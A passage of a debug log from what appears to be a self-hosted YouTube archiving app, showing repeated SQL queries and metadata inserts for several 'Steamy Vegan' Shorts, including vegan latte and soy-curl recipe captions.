hot water\n1 tsp cinnamon\n2 tbsp maple syrup\n2 pinches sea salt\n\n1. Brew your coffee to desired strength.\n2. In a high-speed blender, blend the remaining ingredients on high speed for 45-60 seconds until the dates have been fully blended.\n3. Pour into a small saucepan and bring to a low boil until steaming. Using a milk frother, froth until you've reached your desired fluffiness.\n4. Pour the brewed coffee into your mugs, followed by the hot milk. Garnish with cinnamon and enjoy!! #steamyvegankitchen", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-16 ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts/ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts [gHu-W_hEGVA].NA", "id" => "gHu-W_hEGVA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/gHu-W_hEGVA", "playlist_index" => 452, "timestamp" => 1652662813, "title" => "ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts", "upload_date" => "20220516"} 20:30:28.303 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1205.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:28.304 [debug] QUERY OK source="sources" db=0.8ms idle=1206.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:28.308 [debug] QUERY OK source="media_items" db=3.0ms idle=715.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-16 01:00:13Z], 1] 20:30:28.311 [debug] QUERY OK source="media_items" db=1.9ms idle=719.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Because it's the only way to have a chill Sunday ☺️ Recipe makes 2 Apple Pie Lattes!\n\nSAVE THIS RECIPE ✔️\n3/4 cup double-strong coffee or espresso\n1.5 cups unsweetened vanilla oat milk (or non-dairy milk of choice)\n1/3 cup unsweetened apple sauce\n3 medjool dates, pitted and soaked for 3 mins hot water\n1 tsp cinnamon\n2 tbsp maple syrup\n2 pinches sea salt\n\n1. Brew your coffee to desired strength.\n2. In a high-speed blender, blend the remaining ingredients on high speed for 45-60 seconds until the dates have been fully blended.\n3. Pour into a small saucepan and bring to a low boil until steaming. Using a milk frother, froth until you've reached your desired fluffiness.\n4. Pour the brewed coffee into your mugs, followed by the hot milk. Garnish with cinnamon and enjoy!! #steamyvegankitchen", "ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts", "3cf2b103-d155-4054-9e13-024f1b9ff707", 1, [], 59, false, "gHu-W_hEGVA", "https://www.youtube.com/shorts/gHu-W_hEGVA", 452, "/downloads/downloads/alec/Steamy Vegan/2022-05-16 ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts/ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts [gHu-W_hEGVA].NA", false, false, true, 2, ~U[2022-05-16 01:00:13Z], ~U[2026-03-22 03:30:28Z], ~U[2026-03-22 03:30:28Z], "Because it's the only way to have a chill Sunday ☺️ Recipe makes 2 Apple Pie Lattes!\n\nSAVE THIS RECIPE ✔️\n3/4 cup double-strong coffee or espresso\n1.5 cups unsweetened vanilla oat milk (or non-dairy milk of choice)\n1/3 cup unsweetened apple sauce\n3 medjool dates, pitted and soaked for 3 mins hot water\n1 tsp cinnamon\n2 tbsp maple syrup\n2 pinches sea salt\n\n1. Brew your coffee to desired strength.\n2. In a high-speed blender, blend the remaining ingredients on high speed for 45-60 seconds until the dates have been fully blended.\n3. Pour into a small saucepan and bring to a low boil until steaming. Using a milk frother, froth until you've reached your desired fluffiness.\n4. Pour the brewed coffee into your mugs, followed by the hot milk. Garnish with cinnamon and enjoy!! #steamyvegankitchen", "ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts", 1, 59, false, "gHu-W_hEGVA", "https://www.youtube.com/shorts/gHu-W_hEGVA", "/downloads/downloads/alec/Steamy Vegan/2022-05-16 ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts/ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts [gHu-W_hEGVA].NA", true, ~U[2022-05-16 01:00:13Z]] 20:30:28.311 [debug] QUERY OK source="sources" db=0.4ms idle=641.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:28.312 [debug] QUERY OK source="media_profiles" db=0.2ms idle=8.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:28.312 [debug] QUERY OK source="media_items" db=0.3ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [841] 20:30:28.313 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I could snack on these aaaaaaaaaall day. 4-Ingredient Spicy & Crispy Soy Curls! 🌶\n\nA great source of plant-based protein and awesome replacement for chicken or pork! Eat as is or toss them in your favourite sauce 🤤 \n\nSAVE THIS RECIPE ✔️ measure with your heart\nRehydrated soy curls, dried and water pressed out of them\nSoy sauce\nSriracha\nNutritional yeast\nToss all the ingredients in a bowl, and bake on a parchment lined baking tray for 25 minutes at 400ºF. ENJOY! #steamyvegankitchen", "duration" => 30, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-15 4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts/4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts [A0rTTFe0kxM].NA", "id" => "A0rTTFe0kxM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/A0rTTFe0kxM", "playlist_index" => 453, "timestamp" => 1652641203, "title" => "4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts", "upload_date" => "20220515"} 20:30:28.313 [debug] QUERY OK source="sources" db=0.6ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:28.314 [debug] QUERY OK source="sources" db=0.3ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:28.317 [debug] QUERY OK source="media_items" db=2.2ms idle=3.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-15 19:00:03Z], 1] 20:30:28.319 [debug] QUERY OK source="media_items" db=1.6ms idle=5.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I could snack on these aaaaaaaaaall day. 4-Ingredient Spicy & Crispy Soy Curls! 🌶\n\nA great source of plant-based protein and awesome replacement for chicken or pork! Eat as is or toss them in your favourite sauce 🤤 \n\nSAVE THIS RECIPE ✔️ measure with your heart\nRehydrated soy curls, dried and water pressed out of them\nSoy sauce\nSriracha\nNutritional yeast\nToss all the ingredients in a bowl, and bake on a parchment lined baking tray for 25 minutes at 400ºF. ENJOY! #steamyvegankitchen", "4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts", "195a7074-83c8-4d90-b149-cc42f9852062", 1, [], 30, false, "A0rTTFe0kxM", "https://www.youtube.com/shorts/A0rTTFe0kxM", 453, "/downloads/downloads/alec/Steamy Vegan/2022-05-15 4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts/4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts [A0rTTFe0kxM].NA", false, false, true, 0, ~U[2022-05-15 19:00:03Z], ~U[2026-03-22 03:30:28Z], ~U[2026-03-22 03:30:28Z], "I could snack on these aaaaaaaaaall day. 4-Ingredient Spicy & Crispy Soy Curls! 🌶\n\nA great source of plant-based protein and awesome replacement for chicken or pork! Eat as is or toss them in your favourite sauce 🤤 \n\nSAVE THIS RECIPE ✔️ measure with your heart\nRehydrated soy curls, dried and water pressed out of them\nSoy sauce\nSriracha\nNutritional yeast\nToss all the ingredients in a bowl, and bake on a parchment lined baking tray for 25 minutes at 400ºF. ENJOY! #steamyvegankitchen", "4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts", 1, 30, false, "A0rTTFe0kxM", "https://www.youtube.com/shorts/A0rTTFe0kxM", "/downloads/downloads/alec/Steamy Vegan/2022-05-15 4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts/4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts [A0rTTFe0kxM].NA", true, ~U[2022-05-15 19:00:03Z]] 20:30:28.320 [debug] QUERY OK source="sources" db=0.4ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:28.320 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:28.321 [debug] QUERY OK source="media_items" db=0.4ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [842] 20:30:28.321 [debug] Current batch of media processed. Will check again in 1000ms 20:30:29.322 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#BRADPITT 🤣🤣🤣🥑🥑🥑\n\nWe have fun sometimes. #steamyvegankitchen", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-15 Meet my husband, Brad Pitt 🔥 #shorts/Meet my husband, Brad Pitt 🔥 #shorts [7tbmMFBLmmc].NA", "id" => "7tbmMFBLmmc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/7tbmMFBLmmc", "playlist_index" => 454, "timestamp" => 1652630404, "title" => "Meet my husband, Brad Pitt 🔥 #shorts", "upload_date" => "20220515"} 20:30:29.323 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:29.324 [debug] QUERY OK source="sources" db=0.4ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:29.326 [debug] QUERY OK source="media_items" db=2.3ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-15 16:00:04Z], 1] 20:30:29.327 [debug] QUERY OK source="media_items" db=0.6ms idle=1005.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["#BRADPITT 🤣🤣🤣🥑🥑🥑\n\nWe have fun sometimes. #steamyvegankitchen", "Meet my husband, Brad Pitt 🔥 #shorts", "9a1c9777-4117-43f2-a31e-abf9daa97ec6", 1, [], 13, false, "7tbmMFBLmmc", "https://www.youtube.com/shorts/7tbmMFBLmmc", 454, "/downloads/downloads/alec/Steamy Vegan/2022-05-15 Meet my husband, Brad Pitt 🔥 #shorts/Meet my husband, Brad Pitt 🔥 #shorts [7tbmMFBLmmc].NA", false, false, true, 1, ~U[2022-05-15 16:00:04Z], ~U[2026-03-22 03:30:29Z], ~U[2026-03-22 03:30:29Z], "#BRADPITT 🤣🤣🤣🥑🥑🥑\n\nWe have fun sometimes. #steamyvegankitchen", "Meet my husband, Brad Pitt 🔥 #shorts", 1, 13, false, "7tbmMFBLmmc", "https://www.youtube.com/shorts/7tbmMFBLmmc", "/downloads/downloads/alec/Steamy Vegan/2022-05-15 Meet my husband, Brad Pitt 🔥 #shorts/Meet my husband, Brad Pitt 🔥 #shorts [7tbmMFBLmmc].NA", true, ~U[2022-05-15 16:00:04Z]] 20:30:29.328 [debug] QUERY OK source="sources" db=0.5ms idle=656.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:29.329 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:29.330 [debug] QUERY OK source="media_items" db=0.5ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [843] 20:30:29.330 [debug] Current batch of media processed. Will check again in 1000ms 20:30:30.331 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Seriously, who else gets HIGH from organizing?! 😍 'Cause you know what they say: Cluttered space, cluttered mind.", "duration" => 53, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-15 This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts/This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts [H7fSLAWuYrs].NA", "id" => "H7fSLAWuYrs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/H7fSLAWuYrs", "playlist_index" => 455, "timestamp" => 1652576406, "title" => "This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts", "upload_date" => "20220515"} 20:30:30.333 [debug] QUERY OK source="sources" db=1.4ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:30.334 [debug] QUERY OK source="sources" db=0.4ms queue=0.5ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:30.338 [debug] QUERY OK source="media_items" db=3.9ms idle=1005.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-15 01:00:06Z], 1] 20:30:30.341 [debug] QUERY OK source="media_items" db=2.3ms idle=1009.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Seriously, who else gets HIGH from organizing?! 😍 'Cause you know what they say: Cluttered space, cluttered mind.", "This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts", "fff6df7f-d93d-416c-888a-290a69c946b8", 1, [], 53, false, "H7fSLAWuYrs", "https://www.youtube.com/shorts/H7fSLAWuYrs", 455, "/downloads/downloads/alec/Steamy Vegan/2022-05-15 This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts/This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts [H7fSLAWuYrs].NA", false, false, true, 2, ~U[2022-05-15 01:00:06Z], ~U[2026-03-22 03:30:30Z], ~U[2026-03-22 03:30:30Z], "Seriously, who else gets HIGH from organizing?! 😍 'Cause you know what they say: Cluttered space, cluttered mind.", "This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts", 1, 53, false, "H7fSLAWuYrs", "https://www.youtube.com/shorts/H7fSLAWuYrs", "/downloads/downloads/alec/Steamy Vegan/2022-05-15 This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts/This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts [H7fSLAWuYrs].NA", true, ~U[2022-05-15 01:00:06Z]] 20:30:30.342 [debug] QUERY OK source="sources" db=0.9ms idle=668.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:30.343 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.5ms idle=9.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:30.345 [debug] QUERY OK source="media_items" db=1.0ms idle=9.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND 